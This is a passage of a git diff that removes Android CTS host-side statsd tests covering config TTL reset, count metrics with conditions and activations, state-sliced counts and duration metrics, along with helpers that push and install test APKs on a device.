-    private AtomsProto.PackageInstallerV2Reported installPackageUsingV2AndGetReport(
-            String[] apkNames) throws Exception {
-        createAndUploadConfig(Atom.PACKAGE_INSTALLER_V2_REPORTED_FIELD_NUMBER);
-        Thread.sleep(WAIT_TIME_SHORT);
-        installPackageUsingIncremental(apkNames, TEST_REMOTE_DIR);
-        assertTrue(getDevice().isPackageInstalled(TEST_INSTALL_PACKAGE));
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<AtomsProto.PackageInstallerV2Reported> reports = new ArrayList<>();
-        for(EventMetricData data : getEventMetricDataList()) {
-            if (data.getAtom().hasPackageInstallerV2Reported()) {
-                reports.add(data.getAtom().getPackageInstallerV2Reported());
-            }
-        }
-        assertEquals(1, reports.size());
-        return reports.get(0);
-    }
-
-    private void installPackageUsingIncremental(String[] apkNames, String remoteDirPath)
-            throws Exception {
-        getDevice().executeShellCommand("mkdir " + remoteDirPath);
-        String[] remoteApkPaths = new String[apkNames.length];
-        for (int i = 0; i < remoteApkPaths.length; i++) {
-            remoteApkPaths[i] = pushApkToRemote(apkNames[i], remoteDirPath);
-        }
-        getDevice().executeShellCommand(
-                "pm install-incremental -t -g " + String.join(" ", remoteApkPaths));
-    }
-
-    private String pushApkToRemote(String apkName, String remoteDirPath)
-            throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        final File apk = buildHelper.getTestFile(apkName);
-        final String remoteApkPath = remoteDirPath + "/" + apk.getName();
-        assertTrue(getDevice().pushFile(apk, remoteApkPath));
-        assertNotNull(apk);
-        return remoteApkPath;
-    }
-
-    private long getTestFileSize(String fileName) throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        final File file = buildHelper.getTestFile(fileName);
-        return file.length();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
deleted file mode 100644
index 0ccb13c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.metadata;
-
-import android.cts.statsd.atom.AtomTestCase;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.tradefed.log.LogUtil;
-
-public class MetadataTestCase extends AtomTestCase {
-    public static final String DUMP_METADATA_CMD = "cmd stats print-stats";
-
-    protected StatsdStatsReport getStatsdStatsReport() throws Exception {
-        try {
-            StatsdStatsReport report = getDump(StatsdStatsReport.parser(),
-                    String.join(" ", DUMP_METADATA_CMD, "--proto"));
-            return report;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to fetch and parse the statsdstats output report.");
-            throw (e);
-        }
-    }
-
-    protected final StatsdConfig.Builder getBaseConfig() throws Exception {
-      StatsdConfig.Builder builder = createConfigBuilder();
-      addAtomEvent(builder, Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-      return builder;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
deleted file mode 100644
index 7022732..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metadata;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.os.StatsLog.StatsdStatsReport.ConfigStats;
-import com.android.tradefed.log.LogUtil;
-
-
-import java.util.List;
-
-/**
- * Statsd Metadata tests.
- */
-public class MetadataTests extends MetadataTestCase {
-
-    private static final String TAG = "Statsd.MetadataTests";
-
-    // Tests that the statsd config is reset after the specified ttl.
-    public void testConfigTtl() throws Exception {
-        final int TTL_TIME_SEC = 8;
-        StatsdConfig.Builder config = getBaseConfig();
-        config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
-
-        uploadConfig(config);
-        long startTime = System.currentTimeMillis();
-        Thread.sleep(WAIT_TIME_SHORT);
-        doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, within < TTL_TIME_SEC secs.
-        Thread.sleep(WAIT_TIME_SHORT);
-        StatsdStatsReport report = getStatsdStatsReport(); // Has only been 1 second
-        LogUtil.CLog.d("got following statsdstats report: " + report.toString());
-        boolean foundActiveConfig = false;
-        int creationTime = 0;
-        for (ConfigStats stats: report.getConfigStatsList()) {
-            if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
-                if(!stats.hasDeletionTimeSec()) {
-                    assertWithMessage("Found multiple active CTS configs!")
-                            .that(foundActiveConfig).isFalse();
-                    foundActiveConfig = true;
-                    creationTime = stats.getCreationTimeSec();
-                }
-            }
-        }
-        assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
-
-        while(System.currentTimeMillis() - startTime < 8_000) {
-            Thread.sleep(10);
-        }
-        doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
-        Thread.sleep(WAIT_TIME_SHORT);
-        report = getStatsdStatsReport();
-        LogUtil.CLog.d("got following statsdstats report: " + report.toString());
-        foundActiveConfig = false;
-        int expectedTime = creationTime + TTL_TIME_SEC;
-        for (ConfigStats stats: report.getConfigStatsList()) {
-            if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
-                // Original config should be TTL'd
-                if (stats.getCreationTimeSec() == creationTime) {
-                    assertWithMessage("Config should have TTL'd but is still active")
-                            .that(stats.hasDeletionTimeSec()).isTrue();
-                    assertWithMessage(
-                            "Config deletion time should be about %s after creation", TTL_TIME_SEC
-                    ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
-                }
-                // There should still be one active config, that is marked as reset.
-                if(!stats.hasDeletionTimeSec()) {
-                    assertWithMessage("Found multiple active CTS configs!")
-                            .that(foundActiveConfig).isFalse();
-                    foundActiveConfig = true;
-                    creationTime = stats.getCreationTimeSec();
-                    assertWithMessage("Active config after TTL should be marked as reset")
-                            .that(stats.hasResetTimeSec()).isTrue();
-                    assertWithMessage("Reset and creation time should be equal for TTl'd configs")
-                            .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
-                    assertWithMessage(
-                            "Reset config should be created when the original config TTL'd"
-                    ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
-                }
-            }
-        }
-        assertWithMessage("Did not find an active CTS config after the TTL")
-                .that(foundActiveConfig).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
deleted file mode 100644
index a63e01e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ /dev/null
@@ -1,433 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.CountBucketInfo;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-public class CountMetricsTests extends DeviceAtomTestCase {
-
-    public void testSimpleEventCountMetric() throws Exception {
-        int matcherId = 1;
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                .setId(MetricsUtils.COUNT_METRIC_ID)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                .setWhat(matcherId))
-                .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
-        uploadConfig(builder);
-
-        doAppBreadcrumbReportedStart(0);
-        doAppBreadcrumbReportedStop(0);
-        Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
-        assertThat(countData.getDataCount()).isGreaterThan(0);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
-    }
-    public void testEventCountWithCondition() throws Exception {
-        int startMatcherId = 1;
-        int endMatcherId = 2;
-        int whatMatcherId = 3;
-        int conditionId = 4;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-               MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfigProto.AtomMatcher predicateStartMatcher =
-                MetricsUtils.startAtomMatcher(startMatcherId);
-
-        StatsdConfigProto.AtomMatcher predicateEndMatcher =
-                MetricsUtils.stopAtomMatcher(endMatcherId);
-
-        StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
-                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                        .setStart(startMatcherId)
-                        .setStop(endMatcherId)
-                        .setCountNesting(false))
-                .setId(conditionId)
-                .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                        .setId(MetricsUtils.COUNT_METRIC_ID)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setWhat(whatMatcherId)
-                        .setCondition(conditionId))
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(predicateStartMatcher)
-                .addAtomMatcher(predicateEndMatcher)
-                .addPredicate(p);
-
-        uploadConfig(builder);
-
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStop(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
-        assertThat(countData.getDataCount()).isGreaterThan(0);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
-    }
-
-    public void testEventCountWithConditionAndActivation() throws Exception {
-        int startMatcherId = 1;
-        int startMatcherLabel = 1;
-        int endMatcherId = 2;
-        int endMatcherLabel = 2;
-        int whatMatcherId = 3;
-        int whatMatcherLabel = 3;
-        int conditionId = 4;
-        int activationMatcherId = 5;
-        int activationMatcherLabel = 5;
-        int ttlSec = 5;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(whatMatcherId, whatMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher predicateStartMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(startMatcherId, startMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher predicateEndMatcher =
-                MetricsUtils.stopAtomMatcherWithLabel(endMatcherId, endMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
-                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                        .setStart(startMatcherId)
-                        .setStop(endMatcherId)
-                        .setCountNesting(false))
-                .setId(conditionId)
-                .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                        .setId(MetricsUtils.COUNT_METRIC_ID)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setWhat(whatMatcherId)
-                        .setCondition(conditionId)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(predicateStartMatcher)
-                .addAtomMatcher(predicateEndMatcher)
-                .addAtomMatcher(activationMatcher)
-                .addPredicate(p)
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.COUNT_METRIC_ID)
-                        .setActivationType(StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setTtlSeconds(ttlSec)));
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(startMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should be counted. Bucket 1 Count 1.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should be counted. Bucket 1 Count 2.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(endMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should not be counted because condition is false.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(startMatcherLabel);
-        Thread.sleep(10);
-
-        // Event should not be counted, metric is still not active.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        //  Log an event that should be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-        assertThat(countData.getDataCount()).isEqualTo(1);
-        assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
-        assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
-    }
-
-    public void testPartialBucketCountMetric() throws Exception {
-        int matcherId = 1;
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                .setId(MetricsUtils.COUNT_METRIC_ID)
-                .setBucket(StatsdConfigProto.TimeUnit.ONE_DAY)  // Should ensure partial bucket.
-                .setWhat(matcherId))
-                .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
-        uploadConfig(builder);
-
-        doAppBreadcrumbReportedStart(0);
-
-        builder.getCountMetricBuilder(0).setBucket(StatsdConfigProto.TimeUnit.CTS);
-        uploadConfig(builder);  // The count metric had a partial bucket.
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(WAIT_TIME_LONG); // Finish the current bucket.
-
-        ConfigMetricsReportList reports = getReportList();
-        LogUtil.CLog.d("Got following report list: " + reports.toString());
-
-        assertThat(reports.getReportsCount()).isEqualTo(2);
-        boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
-                reports.getReports(1).getCurrentReportWallClockNanos();
-
-        // Only 1 metric, so there should only be 1 StatsLogReport.
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            assertThat(report.getMetricsCount()).isEqualTo(1);
-            assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
-        }
-        CountMetricData data1 =
-                reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
-        CountMetricData data2 =
-                reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
-        // Data1 should have only 1 bucket, and it should be a partial bucket.
-        // The count should be 1.
-        assertThat(data1.getBucketInfoCount()).isEqualTo(1);
-        CountBucketInfo bucketInfo = data1.getBucketInfo(0);
-        assertThat(bucketInfo.getCount()).isEqualTo(1);
-        assertWithMessage("First report's bucket should be less than 1 day")
-                .that(bucketInfo.getEndBucketElapsedNanos())
-                .isLessThan(bucketInfo.getStartBucketElapsedNanos() +
-                        1_000_000_000L * 60L * 60L * 24L);
-
-        //Second report should have a count of 2.
-        assertThat(data2.getBucketInfoCount()).isAtMost(2);
-        int totalCount = 0;
-        for (CountBucketInfo bucket : data2.getBucketInfoList()) {
-            totalCount += bucket.getCount();
-        }
-        assertThat(totalCount).isEqualTo(2);
-    }
-
-    public void testSlicedStateCountMetricNoReset() throws Exception {
-        int whatMatcherId = 3;
-        int stateId = 4;
-        int onStateGroupId = 5;
-        int offStateGroupId = 6;
-
-        // Atom 9998 {
-        //     repeated AttributionNode attribution_node = 1;
-        //     optional WakeLockLevelEnum type = 2;
-        //     optional string tag = 3;
-        // }
-        int whatAtomId = 9_998;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.getAtomMatcher(whatAtomId)
-                        .setId(whatMatcherId)
-                        .build();
-
-        StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
-            .setId(stateId)
-            .setAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-            .setMap(StatsdConfigProto.StateMap.newBuilder()
-                    .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
-                            .setGroupId(onStateGroupId)
-                            .addValue(WakelockStateChanged.State.ACQUIRE_VALUE)
-                            .addValue(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)
-                    )
-                    .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
-                            .setGroupId(offStateGroupId)
-                            .addValue(WakelockStateChanged.State.RELEASE_VALUE)
-                            .addValue(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
-            .setStateAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-            .setFieldsInWhat(FieldMatcher.newBuilder()
-                    .setField(whatAtomId)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(1)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(2)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(3)
-                    )
-            )
-            .setFieldsInState(FieldMatcher.newBuilder()
-                    .setField(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.TAG_FIELD_NUMBER)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                    .setId(MetricsUtils.COUNT_METRIC_ID)
-                    .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                    .setWhat(whatMatcherId)
-                    .addSliceByState(stateId)
-                    .addStateLink(stateLink)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addState(state);
-        uploadConfig(builder);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSliceByWakelockState");
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
-        assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-
-        List<CountMetricData> sortedDataList = IntStream.range(0, dataWrapper.getDataCount())
-                .mapToObj(i -> {
-                        CountMetricData data = dataWrapper.getData(i);
-                        assertWithMessage("Unexpected SliceByState count for data[%s]", "" + i)
-                                .that(data.getSliceByStateCount()).isEqualTo(1);
-                        return data;
-                })
-                .sorted((data1, data2) ->
-                        Long.compare(data1.getSliceByState(0).getGroupId(),
-                                data2.getSliceByState(0).getGroupId())
-                )
-                .collect(Collectors.toList());
-
-        CountMetricData data = sortedDataList.get(0);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getGroupId())
-                .isEqualTo(onStateGroupId);
-        long totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(6);
-
-        data = sortedDataList.get(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getGroupId())
-                .isEqualTo(offStateGroupId);
-        totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(3);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
deleted file mode 100644
index 1a553b2..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ /dev/null
@@ -1,563 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import com.google.common.collect.Range;
-
-import java.util.List;
-
-public class DurationMetricsTests extends DeviceAtomTestCase {
-
-    private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-    private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-    private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-    private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
-
-    public void testDurationMetric() throws Exception {
-        final int label = 1;
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, label);
-        AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, label);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addAtomMatcher(startAtomMatcher);
-        builder.addAtomMatcher(stopAtomMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add DurationMetric.
-        builder.addDurationMetric(
-            StatsdConfigProto.DurationMetric.newBuilder()
-                .setId(MetricsUtils.DURATION_METRIC_ID)
-                .setWhat(predicate.getId())
-                .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Create AppBreadcrumbReported Start/Stop events.
-        doAppBreadcrumbReportedStart(label);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(label);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        assertThat(durationData.getData(0).getBucketInfo(0).getDurationNanos())
-                .isIn(Range.open(0L, (long)1e9));
-    }
-
-    public void testDurationMetricWithCondition() throws Exception {
